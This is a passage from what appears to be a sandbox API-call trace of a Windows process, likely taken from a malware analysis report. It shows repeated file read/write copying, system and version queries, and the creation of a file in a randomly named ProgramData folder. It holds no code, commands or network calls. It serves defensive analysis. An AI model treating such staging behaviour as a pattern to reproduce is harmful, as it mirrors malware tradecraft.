lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.312] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.313] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.314] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.315] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.316] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.317] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.352] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.352] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.352] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.352] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.352] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.352] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.353] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.353] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.353] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.353] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.353] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.353] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.353] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.354] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.355] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.356] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.356] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.356] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.356] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.356] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.356] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.356] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8cec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8cec8*, lpNumberOfBytesRead=0x19efb0*=0x0, lpOverlapped=0x0) returned 1 [0049.356] GetLastError () returned 0x0 [0049.357] SetLastError (dwErrCode=0x0) [0049.357] WriteFile (in: hFile=0x390, lpBuffer=0x1e8ded0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d568, lpOverlapped=0x0 | out: lpBuffer=0x1e8ded0*, lpNumberOfBytesWritten=0x19d568*=0x1000, lpOverlapped=0x0) returned 1 [0049.357] CloseHandle (hObject=0x390) returned 1 [0049.368] CloseHandle (hObject=0x38c) returned 1 [0049.370] GetSystemInfo (in: lpSystemInfo=0x48cfc0 | out: lpSystemInfo=0x48cfc0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0049.372] GetVersionExA (in: lpVersionInformation=0x19f108*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x1e8afa8, dwMinorVersion=0x1e804a0, dwBuildNumber=0x1e80498, dwPlatformId=0x19f80c, szCSDVersion="@\rrw%\x0b©óþÿÿÿlñ\x19") | out: lpVersionInformation=0x19f108*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0049.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x476ef8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0049.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x476ef8, cbMultiByte=-1, lpWideCharStr=0x25d0c70, cchWideChar=2 | out: lpWideCharStr="c") returned 2 [0049.372] GetFullPathNameW (in: lpFileName="c", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0049.372] GetFullPathNameW (in: lpFileName="c", nBufferLength=0x29, lpBuffer=0x1e80510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", lpFilePart=0x0) returned 0x25 [0049.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0049.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a6f8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a6f8, cbMultiByte=-1, lpWideCharStr=0x1e80510, cchWideChar=38 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c") returned 38 [0049.373] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0049.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a6f8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a6f8, cbMultiByte=-1, lpWideCharStr=0x25d0960, cchWideChar=38 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c") returned 38 [0049.373] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0049.373] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", nBufferLength=0x29, lpBuffer=0x25d09b8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", lpFilePart=0x0) returned 0x25 [0049.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0049.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19ef5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0049.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19ef5c, cbMultiByte=-1, lpWideCharStr=0x25d0960, cchWideChar=38 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c") returned 38 [0049.373] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19ef58, lpBytesPerSector=0x19ef54, lpNumberOfFreeClusters=0x19ef58, lpTotalNumberOfClusters=0x19ef58 | out: lpSectorsPerCluster=0x19ef58, lpBytesPerSector=0x19ef54, lpNumberOfFreeClusters=0x19ef58, 